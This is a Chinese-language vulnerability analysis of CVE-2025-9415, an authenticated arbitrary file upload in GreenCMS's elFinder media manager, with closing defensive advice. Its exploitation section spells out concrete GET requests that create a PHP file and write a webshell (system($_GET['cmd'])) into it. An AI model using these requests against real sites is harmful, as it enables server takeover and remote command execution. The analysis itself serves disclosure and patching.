CVE-2025-9415 漏洞分析:GreenCMS任意文件上传(Upload)及其他漏洞研究-第二部分
字数 2084 2025-11-13 12:12:31
GreenCMS 任意文件上传漏洞 (CVE-2025-9415) 深入分析与利用指南
漏洞概述
CVE-2025-9415 是 GreenCMS 系统中存在的安全漏洞,主要涉及文件管理功能模块的多个安全缺陷,其中最严重的是任意文件上传漏洞。该漏洞存在于媒体管理组件中,允许攻击者在认证后上传恶意文件到服务器。
漏洞环境定位
漏洞存在于 GreenCMS 的媒体管理模块中,具体路径为:
/index.php?m=admin&c=media&a=fileconnect
此接口实现了基于 elFinder 的文件管理功能。
核心功能方法分析
1. open 方法 - 目录浏览功能
功能描述:打开指定目录并返回其内容
参数解析:
$target:要打开的目录哈希$init:是否为首次初始化请求$tree:是否返回目录树
处理流程:
- 根据目标哈希找到对应的存储卷,获取目录详细信息
- 初始化请求的容错处理:当客户端目录失效时使用默认卷的默认路径
- 错误检查:确保目录存在且有读取权限
- 目录树获取:遍历所有存储卷获取完整的目录层次结构
- 当前目录内容获取:获取当前目录下的所有文件和子目录
请求示例:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1
GET /index.php?m=admin&c=media&a=fileconnect&cmd=open&target=xxxx&init=1&tree=1
2. upload 方法 - 文件上传功能
功能描述:处理文件上传操作
参数要求:
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false)
处理流程:
外层 upload 方法(elFinder.class.php):
- 参数提取和初始化:获取目标路径和上传文件数组
- 错误检查:检查是否有文件被上传,目标是否存在
- 文件处理:
- 遍历所有上传的文件
- 检查文件上传错误码
- 调用卷对象的 upload 方法尝试实际上传
内层 upload 方法(elFinderVolumeDriver.class.php):
- 权限检查:检查上传功能是否被禁用
- 目标目录验证:验证目录存在性和写权限
- 文件名验证:检查文件名合法性
- MIME 类型检测和验证:
- 使用内部检测器检测 MIME 类型
- 基于 Apache 规则顺序进行验证(默认规则:deny,allow)
- 文件大小检查
- 处理已存在文件:根据配置决定覆盖或生成唯一文件名
- 保存文件:准备元数据并调用 _save 方法
漏洞点:两个 upload 方法均未对文件内容进行充分的安全过滤,特别是未检测文件内容中的恶意代码。
3. ls 方法 - 文件列表功能
功能描述:返回指定目录的文件列表
参数要求:
'ls' => array('target' => true, 'mimes' => false)
请求示例:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=ls&target=l1_XA
4. mkdir 方法 - 创建目录功能
功能描述:创建新目录
参数要求:
'mkdir' => array('target' => true, 'name' => true)
处理流程:
- 参数提取:目标目录哈希和新目录名
- 卷对象验证和目标目录检查
- 调用卷的创建目录方法
请求示例:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=mkdir&target=l1_XA&name=pts
5. mkfile 方法 - 创建文件功能
功能描述:创建新文件
参数要求:
'mkfile' => array('target' => true, 'name' => true, 'mimes' => false)
请求示例:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&target=l1_XA&name=11.php
6. put 方法 - 写入文件内容功能
功能描述:向指定文件写入内容
参数要求:
'put' => array('target' => true, 'content' => true, 'mimes' => false)
请求示例:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=put&target=xxxx&content=%3C?php%20system($_GET[%27cmd%27]);?%3E
核心数据结构分析
$cwd 目录信息结构
通过以下调用链获取目录信息:
elFinder.class.php → elFinderVolumeDriver.class.php (dir方法) → file方法 → stat方法 → _stat方法
最终在 elFinderVolumeLocalFileSystem.class.php 的 _stat 方法中记录基础文件的权限属性。
volume 方法工作机制
遍历所有卷($this->volumes 数组),检查哈希值是否以卷 ID 开头:
strpos(''.$hash, $id) === 0
三种目录/文件列表方法对比
| 方法 | 返回结构 | 用途 | 特点 |
|---|---|---|---|
ls |
平面列表 | 文件列表显示 | 单层结构,包含文件 |
tree |
递归结构 | 树状导航 | 嵌套数据,专注文件夹 |
parents |
线性路径 | 路径导航 | 从根到当前目录的直线路径 |
漏洞验证与利用步骤
1. 信息收集阶段
使用 open 方法获取目录结构:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1
此请求返回上传目录的哈希信息,为后续操作提供目标参数。
2. 目录创建(可选)
使用 mkdir 创建自定义目录:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=mkdir&target=l1_XA&name=pts
3. 文件创建
使用 mkfile 创建目标文件:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&target=l1_XA&name=11.php
4. 恶意代码写入
使用 put 方法写入 Webshell:
GET /index.php?m=admin&c=media&a=fileconnect&cmd=put&target=xxxx&content=%3C?php%20system($_GET[%27cmd%27]);?%3E
5. 直接文件上传(替代方案)
使用 upload 方法直接上传恶意文件:
POST /index.php?m=admin&c=media&a=fileconnect
参数:cmd=upload&target=xxx
文件:恶意文件
自动化利用脚本
基于 GitHub 现有脚本改进的自动化利用工具主要功能:
- 自动认证获取会话
- 探测目标目录哈希
- 创建恶意文件并写入 Webshell
- 验证漏洞利用成功性
防御建议
- 输入验证:对所有用户输入进行严格过滤,特别是文件名和文件内容
- 文件类型验证:基于文件内容而非扩展名进行 MIME 类型验证
- 权限控制:限制文件操作功能的访问权限
- 内容安全检查:对上传文件内容进行安全扫描
- 路径限制:限制文件操作只能在特定安全目录内进行
技术要点总结
- 漏洞根源在于 elFinder 组件未对文件内容进行充分安全检测
- 利用链涉及多个文件操作方法的组合使用
- 需要认证后才能利用,属于认证后漏洞
- 攻击者可实现完整的文件系统操作,包括读写执行
该漏洞分析展示了文件管理功能安全实现的重要性,特别是在使用第三方组件时需要加强安全审计和定制化安全加固。